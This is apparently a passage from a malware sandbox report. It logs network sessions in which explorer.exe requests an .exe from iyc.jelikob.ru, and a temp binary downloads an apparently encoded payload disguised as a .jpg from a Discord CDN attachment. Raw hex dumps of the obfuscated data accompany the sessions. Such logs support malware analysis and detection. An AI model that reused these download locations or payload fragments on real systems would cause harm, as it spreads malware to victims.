4f 4f 20 4f 20 71 Data Ascii: O O qOM O qOX O qOD O qOW O qqE O pE O qqD O pE O qOX O qqJ O qOJ O qOE O qOJ O qqW O qqM O qJO O qJJ O qOq O qOM O qOJ O qqJ O qqJ O pE O qqq O pE O ME O qOE O qJO O qqO O qqq O pE O qqJ O pE O qqD O ME O qJO O qOE O qJO O qJO O qOE O qqm O qqM O qOO O q
2021-10-29 15:55:26 UTC	1183	IN	Data Raw: 58 20 4f 20 71 71 4f 20 4f 20 71 4f 70 20 4f 20 71 71 70 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 71 71 4d 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 71 71 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 71 20 4f 20 71 71 70 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 4f 6d 20 4f 20 71 4f 70 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 45 20 4f 20 71 71 4f 20 4f 20 71 71 4a 20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 71 71 70 20 4f 20 71 71 4f 20 4f 20 71 71 58 20 4f 20 70 45 Data Ascii: X O qqO O qOp O qqp O qJO O MM O qOW O qJJ O pE O qqO O pE O qJq O qqO O qOX O qqM O qOm O qOJ O qqE O ME O pE O qOJ O pE O qqM O qqq O qqp O MM O qqm O qOm O qOp O pE O qOW O pE O qqD O qOE O qqO O qqJ O qqX O qJO O qqM O qOq O qqD O qqp O qqO O qqX O pE
2021-10-29 15:55:26 UTC	1187	IN	Data Raw: 70 45 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 71 20 4f 20 71 71 58 20 4f 20 71 71 4f 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 71 58 20 4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 71 4f 4d 20 4f 20 70 45 20 4f 20 58 70 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 71 4a 20 4f 20 71 4f 6d 20 4f 20 71 4f 6d 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 4d 45 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 71 71 Data Ascii: pE O qqp O qqX O qJJ O qOq O qqX O qqO O pE O MM O pE O qOM O qOX O qqD O qqX O qOW O qqp O qOD O qOX O qOO O qOq O qJO O qqX O qOM O pE O Xp O pE O qOD O qOq O qqm O ME O qqJ O qOm O qOm O qqJ O qqp O ME O qqM O qqX O pE O qqX O pE O qOD O qqX O qOE O qq
2021-10-29 15:55:26 UTC	1191	IN	Data Raw: 20 71 4a 4a 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 4f 20 71 4a 4f 20 4f 20 71 71 70 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 71 4f 4f 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 71 71 45 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 70 45 20 4f 20 71 4a 4f 20 4f 20 71 4a 4a 20 4f 20 71 71 71 20 4f 20 71 71 57 20 4f 20 71 4a 71 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 71 71 45 20 4f 20 71 4a 4a 20 4f 20 70 45 20 4f Data Ascii: qJJ O MM O pE O MM O pE O qOD O qOX O qOW O qJO O qqp O qOW O MX O qOO O ME O qOO O qqE O qqp O qqX O qOJ O pE O qqE O pE O qJO O qJJ O qqq O qqW O qJq O qqD O pE O qqm O pE O qJJ O qqM O qOD O qOq O qqm O pE O qOW O pE O MM O MM O qOW O qqE O qJJ O pE O
2021-10-29 15:55:26 UTC	1194	IN	Data Raw: 20 4f 20 71 4f 4f 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 4d 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 4f 58 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 71 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 4f 57 20 4f 20 71 71 70 20 4f 20 4d 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 4d 4d 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 71 45 20 4f 20 71 4f 4a 20 4f 20 71 71 58 20 4f 20 71 4f 57 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 4d 58 20 Data Ascii: O qOO O qqq O qqq O ME O ME O pE O qp O qO O pE O qOX O qOX O qOO O qqm O pE O qqW O pE O qqq O qJq O qOW O qOW O qqp O MM O qJO O qqq O pE O MM O pE O qqO O qqE O qOJ O qqX O qOW O qOq O qJq O qOW O qJJ O qJO O qqD O qJO O qOD O qOX O pE O pJ O pE O MX
2021-10-29 15:55:26 UTC	1198	IN	Data Raw: 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4a 71 20 4f 20 71 4f 70 20 4f 20 4d 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 71 71 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 70 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 4a 4f 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20 71 4a 71 20 4f 20 71 71 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 4f 45 20 4f Data Ascii: O qqW O pE O qOD O qJq O qOp O MM O qOm O qqX O qqW O qqq O qqq O qOD O pE O qqD O pE O qqO O qOq O qOq O pE O ME O pE O qqp O qqD O qqO O qJO O qOW O pE O qqm O pE O qOD O qOM O qJJ O qOX O qJq O qqE O qOJ O qOW O qqq O qOq O qqW O pE O qqD O pE O qOE O
2021-10-29 15:55:26 UTC	1202	IN	Data Raw: 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 71 4f 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 71 44 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 71 44 20 4f 20 71 4f 44 20 4f 20 71 71 Data Ascii: qqJ O qqp O qqW O pE O ME O pE O qqM O qqO O qJJ O qqJ O qOD O qqE O MX O qqX O qOm O pE O qqm O pE O qOq O qOJ O qJq O qqp O qqm O ME O qqD O qqM O qOp O qqW O pE O qqD O pE O qqX O qOD O qqm O qqM O qOO O qOW O qOp O qJq O pE O Dq O pE O qqD O qOD O qq
2021-10-29 15:55:26 UTC	1206	IN	Data Raw: 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 71 4a 71 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 4d 4d 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 4d 45 20 4f 20 71 4a 71 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 4d 4d 20 4f 20 71 4f 4f 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 71 4f 20 4f 20 71 71 58 20 4f 20 71 71 4f 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 71 44 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 71 71 70 20 4f 20 70 45 20 4f Data Ascii: qqm O qOq O qOm O pE O qOO O pE O qOO O qJq O qqX O qOJ O MM O MX O qJJ O qqJ O qqm O ME O ME O qJq O qqJ O pE O qOW O pE O qOq O MM O qOO O qJq O qOW O qqO O qqX O qqO O ME O pE O qqW O pE O qqX O qqD O qOW O MX O MX O qOD O qqm O qOX O qqE O qqp O pE O
2021-10-29 15:55:26 UTC	1210	IN	Data Raw: 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 71 4a 4f 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 71 58 20 4f 20 71 4a 71 20 4f 20 71 4f 6d 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 71 4d 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 71 4f 20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f Data Ascii: O qOO O qOW O qqJ O qqq O MX O qJO O qOq O pE O Dq O pE O qJq O qqX O qJq O qOm O qOD O qOp O qqM O qOp O qqD O qqO O qqM O qJq O pE O pJ O pE O qOM O qOE O qqO O qqq O pE O qOO O pE O qqE O qqM O qOW O qqD O qOq O qOX O qqD O qOm O pE O qOW O pE O qOW O
2021-10-29 15:55:26 UTC	1215	IN	Data Raw: 71 4f 45 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 71 71 44 20 4f 20 71 71 45 20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 4d 20 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 70 6d 20 4f 20 70 45 20 4f 20 4d 58 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 58 4a 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4f 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 44 58 20 4f 20 70 45 Data Ascii: qOE O qqM O qqX O qOE O pE O qqm O pE O qJJ O qOp O qqO O MX O qOJ O qqD O qqE O qOE O qOJ O qOq O qOM O qqp O pE O pm O pE O MX O qqJ O qqp O qOJ O pE O qp O qO O pE O qqM O qJJ O qOm O pE O XJ O pE O qqm O qOO O qqX O ME O qOO O qqO O qOW O pE O DX O pE
2021-10-29 15:55:26 UTC	1226	IN	Data Raw: 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 4d 4a 20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 71 71 57 20 4f 20 71 4f 57 20 4f 20 4d 4a 20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 71 71 57 20 4f 20 71 4f 57 20 4f 20 70 4a 20 4f 20 58 4f 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 71 44 20 4f 20 70 4a 20 4f 20 6d 58 20 4f 20 4d 4a 20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 71 71 57 20 4f 20 71 4f 57 20 4f 20 70 4a 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20 70 4a 20 4f 20 6d 58 20 4f 20 4d 4a 20 4f 20 58 6d 20 4f 20 4d 45 20 4f 20 71 71 6d 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 70 4a 20 4f 20 45 70 20 4f 20 71 4f 4f 20 4f 20 70 4a 20 4f 20 6d 58 20 4f 20 4d 4a 20 4f 20 45 Data Ascii: O Ep O DE O DM O EE O DW O XO O MJ O Xp O MM O qqW O qOW O MJ O Xp O MM O qqW O qOW O pJ O XO O qqq O qqm O qqD O pJ O mX O MJ O Xp O MM O qqW O qOW O pJ O DD O qqE O qqW O pJ O mX O MJ O Xm O ME O qqm O qOp O qOq O qqD O pJ O Ep O qOO O pJ O mX O MJ O E
2021-10-29 15:55:26 UTC	1231	IN	Data Raw: 58 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 4a 20 4f 20 71 71 44 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 4f 20 4f 20 4f 20 57 71 20 58 44 20 4f 20 45 45 20 4f 20 70 4a 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 71 44 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 70 4a 20 4f 20 58 70 20 4f 20 57 71 20 4f 20 70 4a 20 4f 20 58 6d 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 57 4a 20 4f 20 4f 20 4a 57 20 58 70 20 4f 20 57 71 20 4f 20 70 4a 20 4f 20 58 6d 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 57 4f 20 Data Ascii: X O qOq O qqW O MM O qqm O qOW O qqJ O qqD O qOW O qqq O qqO O O Wq XD O EE O pJ O DW O qOO O qOO O qOW O qqD O qOW O qqq O qqO O qqW O pJ O Xp O Wq O pJ O Xm O qqm O qOW O qqq O Wq O WO O mE O Wm O WJ O O JW Xp O Wq O pJ O Xm O qqm O qOW O qqq O Wq O WO
2021-10-29 15:55:26 UTC	1247	IN	Data Raw: 70 70 20 57 20 70 4a 20 4f 20 71 45 20 71 4a 4d 20 71 70 45 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 4a 6d 57 20 57 20 70 4a 20 71 20 4a 58 20 4a 4d 20 4a 58 20 58 20 4f 20 70 20 71 20 4a 58 20 71 58 20 4a 71 20 71 58 20 70 45 20 6d 20 70 4a 20 4f 20 71 58 20 57 70 20 4d 20 70 4a 20 4f 20 4a 71 20 71 58 20 6d 71 20 71 20 71 58 20 71 4a 4d 20 4a 6d 4d 20 45 20 4a 71 20 71 58 20 6d 71 20 71 20 71 58 20 71 4a 4d 20 4a 6d 4d 20 57 20 70 4a 20 71 20 71 4d 20 4f 20 58 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 4a 57 70 20 58 20 4f 20 71 20 71 58 20 71 4a 58 20 71 4a 4d 20 71 58 20 71 4a 58 20 71 4a 4d 20 57 20 4f 20 71 20 4a 58 20 71 58 20 6d 4d 20 58 20 4f 20 70 20 71 20 71 58 20 4a 71 20 4a 58 20 71 58 20 6d 4d 20 70 20 70 4a 20 4f 20 58 20 57 20 70 4a Data Ascii: pp W pJ O qE qJM qpE W pJ O qX qJM JmW W pJ q JX JM JX X O p q JX qX Jq qX pE m pJ O qX Wp M pJ O Jq qX mq q qX qJM JmM E Jq qX mq q qX qJM JmM W pJ q qM O X W pJ O qX qJM JWp X O q qX qJX qJM qX qJX qJM W O q JX qX mM X O p q qX Jq JX qX mM p pJ O X W pJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49815	81.177.141.36	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 15:55:28 UTC	1254	OUT	GET /263873486.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: iyc.jelikob.ru
2021-10-29 15:55:28 UTC	1254	IN	HTTP/1.1 403 Forbidden Date: Fri, 29 Oct 2021 15:55:28 GMT Content-Type: text/html Content-Length: 797 Connection: close
2021-10-29 15:55:28 UTC	1254	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 66 72 61 75 64 22 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 22 31 2e 31 31 2e 32 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 a4 d0 b8 d1 88 d0 b8 d0 bd d0 b3 d0 be d0 b2 d1 8b d0 b9 20 d1 81 d0 b0 d0 b9 d1 82 20 d0 b7 d0 b0 d0 b1 d0 bb d0 be d0 ba d0 b8 d1 80 d0 be d0 b2 d0 b0 d0 bd 3c 2f 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html data-page="fraud" data-version="1.11.2"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> </title>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49814	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 15:55:28 UTC	1255	OUT	GET /attachments/893177342426509335/903333369742491648/1E88D378.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 15:55:28 UTC	1255	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:55:28 GMT Content-Type: image/jpeg Content-Length: 396853 Connection: close CF-Ray: 6a5d969ffdad2c2a-FRA Accept-Ranges: bytes Age: 79193 Cache-Control: public, max-age=31536000 ETag: "9f10fbc5d30ca119af4f9f1c1ff1eb60" Expires: Sat, 29 Oct 2022 15:55:28 GMT Last-Modified: Thu, 28 Oct 2021 17:24:18 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635441858509476 x-goog-hash: crc32c=tZ9RsQ== x-goog-hash: md5=nxD7xdMMoRmvT58cH/HrYA== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 396853 X-GUploader-UploadID: ADPycdv_exDd0YjZWPamre1oLYm1pelNgMCJxOtS1umaL_LlSi5vu5DvuxJ3Nk7VbkHSDtwLRDhsHgLUT-fTrgHcHGQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B7Aq7ZIFmPB2q3YFTo8117y1U46Yyj4HE%2BJfhF10nbfWmzAMkl3NE1RGHblh8JxuM1gu0Q%2BdDvLZ7%2ByNMXVxFpxnlRzFC2o8gwNi6SDSpEL3lxqKH5PmnqNARS1bavSNUj%2BzUQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 15:55:28 UTC	1256	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 15:55:28 UTC	1256	IN	Data Raw: 6b 50 73 4c 4f 57 42 6c 7a 55 2d 6c 6c 20 55 6b 20 50 4f 4f 20 6b 20 4c 20 6b 20 6b 20 6b 20 4f 20 6b 20 6b 20 6b 20 73 57 57 20 73 57 57 20 6b 20 6b 20 50 7a 4f 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 42 4f 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 50 73 7a 20 6b 20 6b 20 6b 20 50 4f 20 4c 50 20 50 7a 42 20 50 4f 20 6b 20 50 7a 6b 20 55 20 73 6b 57 20 4c 4c 20 50 7a 4f 20 50 20 6c 42 20 73 6b 57 20 4c 4c 20 7a 4f 20 50 6b 4f 20 50 6b 57 20 50 50 57 20 4c 73 20 50 50 73 20 50 50 4f 20 50 50 50 20 50 6b 4c 20 50 50 4f 20 55 6c 20 50 6b 55 20 4c 73 20 55 55 20 55 6c 20 50 50 6b 20 50 Data Ascii: kPsLOWBlzU-ll Uk POO k L k k k O k k k sWW sWW k k PzO k k k k k k k BO k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k Psz k k k PO LP PzB PO k Pzk U skW LL PzO P lB skW LL zO PkO PkW PPW Ls PPs PPO PPP PkL PPO Ul PkU Ls UU Ul PPk P
2021-10-29 15:55:28 UTC	1257	IN	Data Raw: 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 73 57 20 4f 6b 20 73 73 55 20 50 6b 55 20 50 50 57 20 57 6b 20 4f 7a 20 57 6b 20 57 6b 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 4f 42 20 50 4f 4c 20 57 6b 20 4f 7a 20 50 4c 7a 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 50 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b Data Ascii: k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k sW Ok ssU PkU PPW Wk Oz Wk Wk zO PPO PPl POB POL Wk Oz PLz WO zO PPO PPl PkU PPs Wk PPs Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk
2021-10-29 15:55:28 UTC	1259	IN	Data Raw: 55 20 50 50 73 20 57 6b 20 50 57 73 20 50 7a 4c 20 57 57 20 7a 4f 20 50 50 4f 20 7a 57 20 50 6b 55 20 50 50 73 20 57 6b 20 50 7a 4f 20 57 50 20 57 4f 20 7a 4f 20 50 50 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 7a 20 57 4f 20 7a 4f 20 50 7a 20 55 50 20 4c 50 20 4c 20 42 4f 20 7a 4c 20 57 6b 20 57 4f 20 7a 4f 20 50 6c 7a 20 50 50 7a 20 50 6b 55 20 50 50 73 20 57 6b 20 73 4f 6b 20 57 50 20 57 4f 20 7a 4f 20 50 50 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 55 Data Ascii: U PPs Wk PWs PzL WW zO PPO zW PkU PPs Wk PzO WP WO zO PPz PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Pz WO zO Pz UP LP L BO zL Wk WO zO Plz PPz PkU PPs Wk sOk WP WO zO PPz PPl PkU PPs PU
2021-10-29 15:55:28 UTC	1259	IN	Data Raw: 6b 20 4f 55 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 57 4c 20 50 6b 55 20 50 50 73 20 50 50 4f 20 4c 6b 20 42 4f 20 7a 4c 20 57 42 20 73 55 20 73 73 20 50 6b 55 20 50 50 73 20 42 73 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 4f 42 20 50 50 42 20 50 6b 55 20 50 50 73 20 57 4f 20 4f 7a 20 57 6b 20 57 4f 20 50 55 42 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 50 73 20 57 6b 20 57 4f 20 73 73 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 